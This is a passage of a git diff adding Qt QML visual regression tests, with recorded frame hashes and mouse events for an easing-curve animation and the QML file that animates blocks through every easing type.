+ hash: "4f12d90df04192e3f28026249015fa41"
+ }
+ Frame {
+ msec: 368
+ hash: "4f12d90df04192e3f28026249015fa41"
+ }
+ Frame {
+ msec: 384
+ hash: "4f12d90df04192e3f28026249015fa41"
+ }
+ Frame {
+ msec: 400
+ hash: "4f12d90df04192e3f28026249015fa41"
+ }
+ Frame {
+ msec: 416
+ hash: "4f12d90df04192e3f28026249015fa41"
+ }
+ Frame {
+ msec: 432
+ hash: "4f12d90df04192e3f28026249015fa41"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 28; y: 245
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 448
+ hash: "4f12d90df04192e3f28026249015fa41"
+ }
+ Frame {
+ msec: 464
+ hash: "a74da88fed6727a41b0bef096bd52eea"
+ }
+ Frame {
+ msec: 480
+ hash: "e640a847e36f4a7d322ad7ca0b893d9c"
+ }
+ Frame {
+ msec: 496
+ hash: "3e3fe8581c80dc190108b9844e77fb17"
+ }
+ Frame {
+ msec: 512
+ hash: "8ee8ce9f8d9d93997aa8e05efae9b901"
+ }
+ Frame {
+ msec: 528
+ hash: "8752f7849a3afa35889f7f1406d79e5c"
+ }
+ Frame {
+ msec: 544
+ hash: "df31ed3556e84a4517b26765ea11023c"
+ }
+ Frame {
+ msec: 560
+ hash: "a35602db546bf5e71fbc7ff7c5895427"
+ }
+ Frame {
+ msec: 576
+ hash: "c29ee32e39126cb00544cf0326e483d8"
+ }
+ Frame {
+ msec: 592
+ hash: "79b0d26288fd9ca67c6aacacb9bf355f"
+ }
+ Frame {
+ msec: 608
+ hash: "aa0b8c9921058be0913c00725c45b287"
+ }
+ Frame {
+ msec: 624
+ hash: "964f498603fdd2abb2d3b1cc1b78ffde"
+ }
+ Frame {
+ msec: 640
+ hash: "a3c7226d5b5f91b91d2a1ec21f2cb9ab"
+ }
+ Frame {
+ msec: 656
+ hash: "d28f5fb2e07c028c9697f8d1e4d7b676"
+ }
+ Frame {
+ msec: 672
+ hash: "0a1aa6ba2749b1ef5d8c67b5d8d7fba4"
+ }
+ Frame {
+ msec: 688
+ hash: "12d926e80c7b4da41ef9c747cf9ca1d4"
+ }
+ Frame {
+ msec: 704
+ hash: "2015e4d29b3424a3683d7d8710ef60b4"
+ }
+ Frame {
+ msec: 720
+ hash: "530924a6f4bdf7e9ab37415109a28e2f"
+ }
+ Frame {
+ msec: 736
+ hash: "4dd20811ffa8cfb64cebc6ec6f43b029"
+ }
+ Frame {
+ msec: 752
+ hash: "2238138f486a061e32607b130ba505f8"
+ }
+ Frame {
+ msec: 768
+ hash: "a2991487b51b9802f18a975a323dfb32"
+ }
+ Frame {
+ msec: 784
+ hash: "9cf19f7c9ee16bfdd56cb889358ab789"
+ }
+ Frame {
+ msec: 800
+ hash: "32eee6b05e73a36eef878c562badbb8f"
+ }
+ Frame {
+ msec: 816
+ hash: "04cbb2d8fe38011c46ff95d84830ed2a"
+ }
+ Frame {
+ msec: 832
+ hash: "c11c2591ecf40ab31e616f6803e37e95"
+ }
+ Frame {
+ msec: 848
+ hash: "a22cdeea89739bdf10850c7251fb62f2"
+ }
+ Frame {
+ msec: 864
+ hash: "7d13f611bc516cda6afe56a8ec59cbf4"
+ }
+ Frame {
+ msec: 880
+ hash: "4b3a3469f1c64760bd6ce84ec0bfc2cc"
+ }
+ Frame {
+ msec: 896
+ hash: "e1a3af06282f369427d967cb21771564"
+ }
+ Frame {
+ msec: 912
+ hash: "e1c90f78a2fe5e7cf43eeb700c867beb"
+ }
+ Frame {
+ msec: 928
+ hash: "e63fbd42405a5d251ea6703d9564b2e0"
+ }
+ Frame {
+ msec: 944
+ hash: "a1b4f08ccf38575f789bdb8968c7cdeb"
+ }
+ Frame {
+ msec: 960
+ hash: "2604313688bddd75b1fbd146415097a7"
+ }
+ Frame {
+ msec: 976
+ image: "easing.1.png"
+ }
+ Frame {
+ msec: 992
+ hash: "df391105c7f6e0fbcdb0b4719e5af9e3"
+ }
+ Frame {
+ msec: 1008
+ hash: "33603ef5b2368a7f5a71de0318404ac7"
+ }
+ Frame {
+ msec: 1024
+ hash: "78cdbf2a2522e057db08aba284bd7a07"
+ }
+ Frame {
+ msec: 1040
+ hash: "7aac87953a7e1ddf0040769a15878017"
+ }
+ Frame {
+ msec: 1056
+ hash: "eae27f47c56ee0c491eeebed0f3855b2"
+ }
+ Frame {
+ msec: 1072
+ hash: "0f0c4d8dbc27bc301c993a768afeaa39"
+ }
+ Frame {
+ msec: 1088
+ hash: "ec844dffe8be01b9906ffa10a18784bc"
+ }
+ Frame {
+ msec: 1104
+ hash: "69f6dd26fd9268c474c422c2ce126424"
+ }
+ Frame {
+ msec: 1120
+ hash: "0e3f95c339c1868fc716a542e9acbd49"
+ }
+ Frame {
+ msec: 1136
+ hash: "fa0762f9d8112e5c6889ef3a204d4838"
+ }
+ Frame {
+ msec: 1152
+ hash: "18132a9adedd13fcd015ac5c7f741718"
+ }
+ Frame {
+ msec: 1168
+ hash: "f07aba4891c1aab84f656b3507d4f31a"
+ }
+ Frame {
+ msec: 1184
+ hash: "123dfe5bf375b698ae529fe370133d4d"
+ }
+ Frame {
+ msec: 1200
+ hash: "d176cacbad1459d18729e99b52ed0c89"
+ }
+ Frame {
+ msec: 1216
+ hash: "21d9f6aeb67b5bfa0d190d305ddbaabd"
+ }
+ Frame {
+ msec: 1232
+ hash: "38884e097938bdd2fecb33a2d782e87e"
+ }
+ Frame {
+ msec: 1248
+ hash: "d0fb3dbb20f4873784dde690c48efd4b"
+ }
+ Frame {
+ msec: 1264
+ hash: "9821efad0c5bfc459029f42a32ad7c85"
+ }
+ Frame {
+ msec: 1280
+ hash: "c19ef8982ffa6d5d1a0b2844d0bd77e1"
+ }
+ Frame {
+ msec: 1296
+ hash: "e5d09b511557ac724b488dcaa5079ac7"
+ }
+ Frame {
+ msec: 1312
+ hash: "a1bf72e745137dd8ae48ff3e5df22944"
+ }
+ Frame {
+ msec: 1328
+ hash: "6319a88b12b431b1715b0231c0b86f9e"
+ }
+ Frame {
+ msec: 1344
+ hash: "f69fc6078e0b6c863b19f2306ca22a17"
+ }
+ Frame {
+ msec: 1360
+ hash: "e0945fc7aea81263fb84fb5de83b7ffc"
+ }
+ Frame {
+ msec: 1376
+ hash: "bae0fc82e69b37d6f0d23faf5d877d9b"
+ }
+ Frame {
+ msec: 1392
+ hash: "764e6cf407b66cefb0e867c55b4d214b"
+ }
+ Frame {
+ msec: 1408
+ hash: "208a9d634e7c45211a8aea56b7cb17e1"
+ }
+ Frame {
+ msec: 1424
+ hash: "5426675426babcfb303d5534b66038e0"
+ }
+ Frame {
+ msec: 1440
+ hash: "f9b2505bf94f9ae9a6212aae64a8023f"
+ }
+ Frame {
+ msec: 1456
+ hash: "672e4366f9eb212a3dcb539476ffe83b"
+ }
+ Frame {
+ msec: 1472
+ hash: "672e4366f9eb212a3dcb539476ffe83b"
+ }
+ Frame {
+ msec: 1488
+ hash: "672e4366f9eb212a3dcb539476ffe83b"
+ }
+ Frame {
+ msec: 1504
+ hash: "672e4366f9eb212a3dcb539476ffe83b"
+ }
+ Frame {
+ msec: 1520
+ hash: "672e4366f9eb212a3dcb539476ffe83b"
+ }
+ Frame {
+ msec: 1536
+ hash: "672e4366f9eb212a3dcb539476ffe83b"
+ }
+ Frame {
+ msec: 1552
+ hash: "672e4366f9eb212a3dcb539476ffe83b"
+ }
+ Frame {
+ msec: 1568
+ hash: "672e4366f9eb212a3dcb539476ffe83b"
+ }
+ Frame {
+ msec: 1584
+ hash: "672e4366f9eb212a3dcb539476ffe83b"
+ }
+ Frame {
+ msec: 1600
+ hash: "672e4366f9eb212a3dcb539476ffe83b"
+ }
+ Frame {
+ msec: 1616
+ hash: "672e4366f9eb212a3dcb539476ffe83b"
+ }
+ Frame {
+ msec: 1632
+ hash: "672e4366f9eb212a3dcb539476ffe83b"
+ }
+ Frame {
+ msec: 1648
+ hash: "672e4366f9eb212a3dcb539476ffe83b"
+ }
+ Frame {
+ msec: 1664
+ hash: "672e4366f9eb212a3dcb539476ffe83b"
+ }
+ Frame {
+ msec: 1680
+ hash: "672e4366f9eb212a3dcb539476ffe83b"
+ }
+ Frame {
+ msec: 1696
+ hash: "672e4366f9eb212a3dcb539476ffe83b"
+ }
+ Frame {
+ msec: 1712
+ hash: "672e4366f9eb212a3dcb539476ffe83b"
+ }
+ Frame {
+ msec: 1728
+ hash: "672e4366f9eb212a3dcb539476ffe83b"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 28; y: 245
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1744
+ hash: "672e4366f9eb212a3dcb539476ffe83b"
+ }
+ Frame {
+ msec: 1760
+ hash: "0312cf9bff66e992528cc24211a7a9ef"
+ }
+ Frame {
+ msec: 1776
+ hash: "d29d071c26556302881badd90b1f1135"
+ }
+ Frame {
+ msec: 1792
+ hash: "747b398a00dec18a82fb3e2313ba318b"
+ }
+ Frame {
+ msec: 1808
+ hash: "1df120f0cc1e8583dd52b02b203ba7ff"
+ }
+ Frame {
+ msec: 1824
+ hash: "783f4c179f8468055f1b5585108c4c91"
+ }
+ Frame {
+ msec: 1840
+ hash: "7307344c196f13348e7e23415c8eed1f"
+ }
+ Frame {
+ msec: 1856
+ hash: "cf97103f94eb6b9e68e095ff5eaf2aeb"
+ }
+ Frame {
+ msec: 1872
+ hash: "df8ef82f145ad55f084c3693cb601577"
+ }
+ Frame {
+ msec: 1888
+ hash: "e25a344db6358ac5876cc95eb7ce35e7"
+ }
+ Frame {
+ msec: 1904
+ hash: "4f4d55823e468ec2c0e73977a6851f5b"
+ }
+ Frame {
+ msec: 1920
+ hash: "894e23e77af266bde42f5ca6ac2184d7"
+ }
+ Frame {
+ msec: 1936
+ image: "easing.2.png"
+ }
+ Frame {
+ msec: 1952
+ hash: "a48cc4f2c5282d9d2a8b55e0908324b7"
+ }
+ Frame {
+ msec: 1968
+ hash: "f5cd3c873cf57f199ea7439a45f094d8"
+ }
+ Frame {
+ msec: 1984
+ hash: "8c6f4c913be02ee21efa551ce9a6544b"
+ }
+ Frame {
+ msec: 2000
+ hash: "fc979e4e4f6e82d704e0a53d3f9eef6e"
+ }
+ Frame {
+ msec: 2016
+ hash: "e8085e2e6741028a9218487181a8cc5b"
+ }
+ Frame {
+ msec: 2032
+ hash: "c67a1cec25d25687d369af58018ce213"
+ }
+ Frame {
+ msec: 2048
+ hash: "25b8e080f8fe5525bafa1e760b5845be"
+ }
+ Frame {
+ msec: 2064
+ hash: "fef16bd6dc6dfa248ab5a33f53229528"
+ }
+ Frame {
+ msec: 2080
+ hash: "57b7e04b1722feda16fb80269dd51c2c"
+ }
+ Frame {
+ msec: 2096
+ hash: "f2415e564efe5b5306b33001395a41f4"
+ }
+ Frame {
+ msec: 2112
+ hash: "40116a7a67be4de5b767ee1fe7ae0d02"
+ }
+ Frame {
+ msec: 2128
+ hash: "52d71e7e8f44e554df361d7d9e281655"
+ }
+ Frame {
+ msec: 2144
+ hash: "226620a3c624f0a1659ee33616734a28"
+ }
+ Frame {
+ msec: 2160
+ hash: "8849d02547a90ca47748749fc8615179"
+ }
+ Frame {
+ msec: 2176
+ hash: "5523d277bc7a7161f3bbd79a4099e6c4"
+ }
+ Frame {
+ msec: 2192
+ hash: "6ff2c6b89c3a024e1597d1c110b5f5f3"
+ }
+ Frame {
+ msec: 2208
+ hash: "732b9e2e601ad7fc11510f3c590dca20"
+ }
+ Frame {
+ msec: 2224
+ hash: "1ff9abdcb182fca444bc4b36e91b2a13"
+ }
+ Frame {
+ msec: 2240
+ hash: "6f851aee4e3c4427fcb8672f37885d2d"
+ }
+ Frame {
+ msec: 2256
+ hash: "3572977ef7c618404168514400fc22a4"
+ }
+ Frame {
+ msec: 2272
+ hash: "e6e6f7cdf4f2ee1d182d18da482ab6a8"
+ }
+ Frame {
+ msec: 2288
+ hash: "fac4878038516ad0a5601f78ff3d3ab0"
+ }
+ Frame {
+ msec: 2304
+ hash: "b37e2cf2fb3b5a91845e50d2ab288572"
+ }
+ Frame {
+ msec: 2320
+ hash: "711ea820aa842c46f629f3eb36144ec2"
+ }
+ Frame {
+ msec: 2336
+ hash: "fcaa0576cbc8d4459b94498f332a4576"
+ }
+ Frame {
+ msec: 2352
+ hash: "dfa935d0ac700696a78c139585d2cc3f"
+ }
+ Frame {
+ msec: 2368
+ hash: "291042d40fc9fa8eebf80225b2cae93e"
+ }
+ Frame {
+ msec: 2384
+ hash: "4e1d6af5f5f9200b6871dfc63ec8d92e"
+ }
+ Frame {
+ msec: 2400
+ hash: "9c7ccdf3aba3c28717891e7ef4333aa5"
+ }
+ Frame {
+ msec: 2416
+ hash: "b5bfa2eeb932ebc8913381bbea62ea9d"
+ }
+ Frame {
+ msec: 2432
+ hash: "296bc4fcc206c6563630a6de8be9deac"
+ }
+ Frame {
+ msec: 2448
+ hash: "57d39578c1ba3a6a21efdef8c9323965"
+ }
+ Frame {
+ msec: 2464
+ hash: "16352e11b7fd763d82d26fcc02da24a7"
+ }
+ Frame {
+ msec: 2480
+ hash: "02157cc0e120e1b751a9931ff65edb52"
+ }
+ Frame {
+ msec: 2496
+ hash: "23554c786732241aa9a59304cb4870b1"
+ }
+ Frame {
+ msec: 2512
+ hash: "e38f68e818b35b23361a7937b7a37bb7"
+ }
+ Frame {
+ msec: 2528
+ hash: "dd39869048e6ccfceb1b2882404ef1b3"
+ }
+ Frame {
+ msec: 2544
+ hash: "5587d88f5b8fcb3914efedee9ae3a939"
+ }
+ Frame {
+ msec: 2560
+ hash: "5a23991509d69d400249e403cd3fbe4d"
+ }
+ Frame {
+ msec: 2576
+ hash: "eed425fb759c92ec9966fcdc625321fb"
+ }
+ Frame {
+ msec: 2592
+ hash: "7bbf0748f5fbbf48605287342df8e687"
+ }
+ Frame {
+ msec: 2608
+ hash: "7722f0d3c358d57f3d614f2850fc23f9"
+ }
+ Frame {
+ msec: 2624
+ hash: "3ec5ccb1e6ed677617dcb3b699b10d58"
+ }
+ Frame {
+ msec: 2640
+ hash: "303a61969566062d5c77a3a1a65c847a"
+ }
+ Frame {
+ msec: 2656
+ hash: "aadf4d4cc978b5f88b97a7e453b21024"
+ }
+ Frame {
+ msec: 2672
+ hash: "2d24097717f5ec669e29250af78235fd"
+ }
+ Frame {
+ msec: 2688
+ hash: "2a58e7ce319cc1cd7dfcd740bfe59517"
+ }
+ Frame {
+ msec: 2704
+ hash: "6a21af6c920588f0f709bf91bb56f548"
+ }
+ Frame {
+ msec: 2720
+ hash: "f5a63f241f27c6e7cef969dde6790ac3"
+ }
+ Frame {
+ msec: 2736
+ hash: "33b64aad57e117f6b170432843c3c996"
+ }
+ Frame {
+ msec: 2752
+ hash: "4f12d90df04192e3f28026249015fa41"
+ }
+ Frame {
+ msec: 2768
+ hash: "4f12d90df04192e3f28026249015fa41"
+ }
+ Frame {
+ msec: 2784
+ hash: "4f12d90df04192e3f28026249015fa41"
+ }
+ Frame {
+ msec: 2800
+ hash: "4f12d90df04192e3f28026249015fa41"
+ }
+ Frame {
+ msec: 2816
+ hash: "4f12d90df04192e3f28026249015fa41"
+ }
+ Frame {
+ msec: 2832
+ hash: "4f12d90df04192e3f28026249015fa41"
+ }
+ Frame {
+ msec: 2848
+ hash: "4f12d90df04192e3f28026249015fa41"
+ }
+ Frame {
+ msec: 2864
+ hash: "4f12d90df04192e3f28026249015fa41"
+ }
+ Frame {
+ msec: 2880
+ hash: "4f12d90df04192e3f28026249015fa41"
+ }
+ Frame {
+ msec: 2896
+ image: "easing.3.png"
+ }
+ Frame {
+ msec: 2912
+ hash: "4f12d90df04192e3f28026249015fa41"
+ }
+ Frame {
+ msec: 2928
+ hash: "4f12d90df04192e3f28026249015fa41"
+ }
+ Frame {
+ msec: 2944
+ hash: "4f12d90df04192e3f28026249015fa41"
+ }
+ Frame {
+ msec: 2960
+ hash: "4f12d90df04192e3f28026249015fa41"
+ }
+ Frame {
+ msec: 2976
+ hash: "4f12d90df04192e3f28026249015fa41"
+ }
+ Frame {
+ msec: 2992
+ hash: "4f12d90df04192e3f28026249015fa41"
+ }
+ Frame {
+ msec: 3008
+ hash: "4f12d90df04192e3f28026249015fa41"
+ }
+ Frame {
+ msec: 3024
+ hash: "4f12d90df04192e3f28026249015fa41"
+ }
+ Frame {
+ msec: 3040
+ hash: "4f12d90df04192e3f28026249015fa41"
+ }
+ Frame {
+ msec: 3056
+ hash: "4f12d90df04192e3f28026249015fa41"
+ }
+ Frame {
+ msec: 3072
+ hash: "4f12d90df04192e3f28026249015fa41"
+ }
+ Frame {
+ msec: 3088
+ hash: "4f12d90df04192e3f28026249015fa41"
+ }
+ Frame {
+ msec: 3104
+ hash: "4f12d90df04192e3f28026249015fa41"
+ }
+ Frame {
+ msec: 3120
+ hash: "4f12d90df04192e3f28026249015fa41"
+ }
+ Frame {
+ msec: 3136
+ hash: "4f12d90df04192e3f28026249015fa41"
+ }
+ Frame {
+ msec: 3152
+ hash: "4f12d90df04192e3f28026249015fa41"
+ }
+ Frame {
+ msec: 3168
+ hash: "4f12d90df04192e3f28026249015fa41"
+ }
+ Frame {
+ msec: 3184
+ hash: "4f12d90df04192e3f28026249015fa41"
+ }
+ Frame {
+ msec: 3200
+ hash: "4f12d90df04192e3f28026249015fa41"
+ }
+ Frame {
+ msec: 3216
+ hash: "4f12d90df04192e3f28026249015fa41"
+ }
+ Frame {
+ msec: 3232
+ hash: "4f12d90df04192e3f28026249015fa41"
+ }
+ Frame {
+ msec: 3248
+ hash: "4f12d90df04192e3f28026249015fa41"
+ }
+ Frame {
+ msec: 3264
+ hash: "4f12d90df04192e3f28026249015fa41"
+ }
+ Frame {
+ msec: 3280
+ hash: "4f12d90df04192e3f28026249015fa41"
+ }
+ Frame {
+ msec: 3296
+ hash: "4f12d90df04192e3f28026249015fa41"
+ }
+ Frame {
+ msec: 3312
+ hash: "4f12d90df04192e3f28026249015fa41"
+ }
+ Frame {
+ msec: 3328
+ hash: "4f12d90df04192e3f28026249015fa41"
+ }
+ Frame {
+ msec: 3344
+ hash: "4f12d90df04192e3f28026249015fa41"
+ }
+ Frame {
+ msec: 3360
+ hash: "4f12d90df04192e3f28026249015fa41"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/animation/easing/easing.qml b/tests/auto/declarative/qmlvisual/animation/easing/easing.qml
new file mode 100644
index 00000000..625aeeb9
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/easing/easing.qml
@@ -0,0 +1,194 @@
+import QtQuick 1.0
+/* This test just animates y of a block with every easing curve*/
+
+Rectangle {
+ id: item
+ height: 300
+ width: layout.width
+ color: "white"
+ resources: [
+ ListModel {
+ id: easingtypes
+ ListElement {
+ type: "Linear"
+ }
+ ListElement {
+ type: "InQuad"
+ }
+ ListElement {
+ type: "OutQuad"
+ }
+ ListElement {
+ type: "InOutQuad"
+ }
+ ListElement {
+ type: "OutInQuad"
+ }
+ ListElement {
+ type: "InCubic"
+ }
+ ListElement {
+ type: "OutCubic"
+ }
+ ListElement {
+ type: "InOutCubic"
+ }
+ ListElement {
+ type: "OutInCubic"
+ }
+ ListElement {
+ type: "InQuart"
+ }
+ ListElement {
+ type: "OutQuart"
+ }
+ ListElement {
+ type: "InOutQuart"
+ }
+ ListElement {
+ type: "OutInQuart"
+ }
+ ListElement {
+ type: "InQuint"
+ }
+ ListElement {
+ type: "OutQuint"
+ }
+ ListElement {
+ type: "InOutQuint"
+ }
+ ListElement {
+ type: "OutInQuint"
+ }
+ ListElement {
+ type: "InSine"
+ }
+ ListElement {
+ type: "OutSine"
+ }
+ ListElement {
+ type: "InOutSine"
+ }
+ ListElement {
+ type: "OutInSine"
+ }
+ ListElement {
+ type: "InExpo"
+ }
+ ListElement {
+ type: "OutExpo"
+ }
+ ListElement {
+ type: "InOutExpo"
+ }
+ ListElement {
+ type: "OutInExpo"
+ }
+ ListElement {
+ type: "InCirc"
+ }
+ ListElement {
+ type: "OutCirc"
+ }
+ ListElement {
+ type: "InOutCirc"
+ }
+ ListElement {
+ type: "OutInCirc"
+ }
+ ListElement {
+ type: "InElastic"
+ }
+ ListElement {
+ type: "OutElastic"
+ }
+ ListElement {
+ type: "InOutElastic"
+ }
+ ListElement {
+ type: "OutInElastic"
+ }
+ ListElement {
+ type: "InBack"
+ }
+ ListElement {
+ type: "OutBack"
+ }
+ ListElement {
+ type: "InOutBack"
+ }
+ ListElement {
+ type: "OutInBack"
+ }
+ ListElement {
+ type: "OutBounce"
+ }
+ ListElement {
+ type: "InBounce"
+ }
+ ListElement {
+ type: "InOutBounce"
+ }
+ ListElement {
+ type: "OutInBounce"
+ }
+ }
+ ]
+ Row {
+ id: layout
+ anchors.top: item.top
+ anchors.bottom: item.bottom
+ Repeater {
+ model: easingtypes
+ Component {
+ Rectangle {
+ id: block
+ Text {
+ text: type
+ anchors.centerIn: parent
+ font.italic: true
+ color: index & 1 ? "black" : "white"
+ opacity: 0 // 1 for debugging
+ }
+ width: 15
+ height: 30
+ color: index & 1 ? "red" : "blue"
+ states: [
+ State {
+ name: "from"
+ when: !mouse.pressed
+ PropertyChanges {
+ target: block
+ y: 0
+ }
+ },
+ State {
+ name: "to"
+ when: mouse.pressed
+ PropertyChanges {
+ target: block
+ y: item.height-block.height
+ }
+ }
+ ]
+ transitions: [
+ Transition {
+ from: "*"
+ to: "to"
+ reversible: true
+ NumberAnimation {
+ properties: "y"
+ easing.type: type
+ duration: 1000
+ }
+ }
+ ]
+ }
+ }
+ }
+ }
+ MouseArea {
+ id: mouse
+ anchors.fill: layout
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/animation/loop/data/loop.0.png b/tests/auto/declarative/qmlvisual/animation/loop/data/loop.0.png
new file mode 100644
index 00000000..ca37de9d
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/loop/data/loop.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/loop/data/loop.1.png b/tests/auto/declarative/qmlvisual/animation/loop/data/loop.1.png
new file mode 100644
index 00000000..a2d87ca8
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/loop/data/loop.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/loop/data/loop.2.png b/tests/auto/declarative/qmlvisual/animation/loop/data/loop.2.png
new file mode 100644
index 00000000..1cb2cb89
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/loop/data/loop.2.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/loop/data/loop.3.png b/tests/auto/declarative/qmlvisual/animation/loop/data/loop.3.png
new file mode 100644
index 00000000..f58deca6
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/loop/data/loop.3.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/loop/data/loop.4.png b/tests/auto/declarative/qmlvisual/animation/loop/data/loop.4.png
new file mode 100644
index 00000000..1936361b
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/loop/data/loop.4.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/loop/data/loop.5.png b/tests/auto/declarative/qmlvisual/animation/loop/data/loop.5.png
new file mode 100644
index 00000000..758c2231
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/loop/data/loop.5.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/loop/data/loop.6.png b/tests/auto/declarative/qmlvisual/animation/loop/data/loop.6.png
new file mode 100644
index 00000000..b049e638
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/loop/data/loop.6.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/loop/data/loop.qml b/tests/auto/declarative/qmlvisual/animation/loop/data/loop.qml
new file mode 100644
index 00000000..3cbc0745
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/loop/data/loop.qml
@@ -0,0 +1,1471 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "loop.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "1012b52727ae98522061945e32a6269a"
+ }
+ Frame {
+ msec: 48
+ hash: "06c3f3c1fa014b0eb7341e0a45ca16e4"
+ }
+ Frame {
+ msec: 64
+ hash: "71ecb0af25649c056310d3b865d4144d"
+ }
+ Frame {
+ msec: 80
+ hash: "e249fe5b113797433f96a2f84d47e42b"
+ }
+ Frame {
+ msec: 96
+ hash: "2a7256921c25c79c22263f2b48d4e98c"
+ }
+ Frame {
+ msec: 112
+ hash: "8657944b456402622f2991a0c9acc2fb"
+ }
+ Frame {
+ msec: 128
+ hash: "c919a94cd7afb1fbad4c88537af00869"
+ }
+ Frame {
+ msec: 144
+ hash: "303b5057d94e328f9447a01d54eea93d"
+ }
+ Frame {
+ msec: 160
+ hash: "72eb974dc008c9454935b18b47d4d9e6"
+ }
+ Frame {
+ msec: 176
+ hash: "545f258cb0ec7f5d951b74cc7d3f4f0d"
+ }
+ Frame {
+ msec: 192
+ hash: "3b3d6046fb01adf7c8a7f67bbc46d28e"
+ }
+ Frame {
+ msec: 208
+ hash: "12f7556076cf7a4c2f029dab80e666e7"
+ }
+ Frame {
+ msec: 224
+ hash: "fab272c7dce2bbee4042764d38c7ceb5"
+ }
+ Frame {
+ msec: 240
+ hash: "ff8addee408527bbaed1819bae07c23f"
+ }
+ Frame {
+ msec: 256
+ hash: "53eb6f575db2af3635139e5ddbd7b2f9"
+ }
+ Frame {
+ msec: 272
+ hash: "a2fa1cf169acb8ff26a2c5ec1f1d5c81"
+ }
+ Frame {
+ msec: 288
+ hash: "ab8d5d6d146ed11b92bc93e78f28e50c"
+ }
+ Frame {
+ msec: 304
+ hash: "0fbfc6609b082008e44592067b18ab63"
+ }
+ Frame {
+ msec: 320
+ hash: "7fbeda19c19c62a0af5f7f98e633993f"
+ }
+ Frame {
+ msec: 336
+ hash: "1882b591bc9d4e79d69d0baecb78b700"
+ }
+ Frame {
+ msec: 352
+ hash: "dde429007f876206f3ec0c68d239983e"
+ }
+ Frame {
+ msec: 368
+ hash: "b656bdba2978a9a1af511cc2bb0cb59a"
+ }
+ Frame {
+ msec: 384
+ hash: "1f6573bf67b2893c94f0c2d40213dc73"
+ }
+ Frame {
+ msec: 400
+ hash: "f5786fb532300a1b2f820251fc17c775"
+ }
+ Frame {
+ msec: 416
+ hash: "a0e9c4bd3b6c4cdadd40bdf3ca5e2986"
+ }
+ Frame {
+ msec: 432
+ hash: "073f74ab23a1173025b3c63424ce2697"
+ }
+ Frame {
+ msec: 448
+ hash: "1ac1367d21e346c6c652a88b9ea25bfc"
+ }
+ Frame {
+ msec: 464
+ hash: "f62720308dc9ae67c3856bc3afb32b75"
+ }
+ Frame {
+ msec: 480
+ hash: "066476a57efba802d2497bc3731a3583"
+ }
+ Frame {
+ msec: 496
+ hash: "fb965028a760e8d0a4d81fd982a18ff3"
+ }
+ Frame {
+ msec: 512
+ hash: "ba008abd1a7a73c750b909d57c043649"
+ }
+ Frame {
+ msec: 528
+ hash: "4c974470953f74d1ee7bcd0f4a4c48cf"
+ }
+ Frame {
+ msec: 544
+ hash: "ea233f3476da26c90d67b7775b718aa2"
+ }
+ Frame {
+ msec: 560
+ hash: "e12c3b810c0aa628d7a3827453bea9f3"
+ }
+ Frame {
+ msec: 576
+ hash: "7451954ca0465c430fc4bae84f6d97cb"
+ }
+ Frame {
+ msec: 592
+ hash: "503e40f193a8b099daa4013eddc2f664"
+ }
+ Frame {
+ msec: 608
+ hash: "1f81acf94f325a51faa7aa61e73f8a25"
+ }
+ Frame {
+ msec: 624
+ hash: "0257d7d53eda8afe182a9f97ef451679"
+ }
+ Frame {
+ msec: 640
+ hash: "cfc260bdc977ef16311840022cc85378"
+ }
+ Frame {
+ msec: 656
+ hash: "27483f0b89d727b32722ea153fad30ad"
+ }
+ Frame {
+ msec: 672
+ hash: "355afa11b8e7b24a353d1aa79daf7564"
+ }
+ Frame {
+ msec: 688
+ hash: "bbc1d55f346719476f471a2294227bda"
+ }
+ Frame {
+ msec: 704
+ hash: "9bbab5ff75219d8bd65022c6d061e57a"
+ }
+ Frame {
+ msec: 720
+ hash: "ff0699f02845f3c5cf5aabb19198c346"
+ }
+ Frame {
+ msec: 736
+ hash: "26768e09270ade4c5b484154e7042f43"
+ }
+ Frame {
+ msec: 752
+ hash: "31c9ae63071de3fb2f7e1836a22515cb"
+ }
+ Frame {
+ msec: 768
+ hash: "783ce2acdae8d87883151532c9293336"
+ }
+ Frame {
+ msec: 784
+ hash: "86b9fd739f437127e0cc4d7dcd4284bd"
+ }
+ Frame {
+ msec: 800
+ hash: "5e1d6e164dd184cc197d514e5ff60a4c"
+ }
+ Frame {
+ msec: 816
+ hash: "13063a8d73704165d64dd2a95803ec0f"
+ }
+ Frame {
+ msec: 832
+ hash: "c244e0c0d60f4be2e017bba21a17ab3f"
+ }
+ Frame {
+ msec: 848
+ hash: "b3bd657873f1b49c888b9b98d8c0e23f"
+ }
+ Frame {
+ msec: 864
+ hash: "65a011e4f62ecddd820bdbdeb0084b65"
+ }
+ Frame {
+ msec: 880
+ hash: "86018de7b4a93b267fe94c4de9e61bab"
+ }
+ Frame {
+ msec: 896
+ hash: "44827055c99ae3ed924c101c9d1be5c5"
+ }
+ Frame {
+ msec: 912
+ hash: "1c31fcb20ec1abc7ea815b703ae05363"
+ }
+ Frame {
+ msec: 928
+ hash: "9d7825b7b05ca696846a4116ab27f966"
+ }
+ Frame {
+ msec: 944
+ hash: "61b6690dd14fc76dbac4d785bbddb8ee"
+ }
+ Frame {
+ msec: 960
+ hash: "0de25d97a43cf1a7551c8e8dd1943039"
+ }
+ Frame {
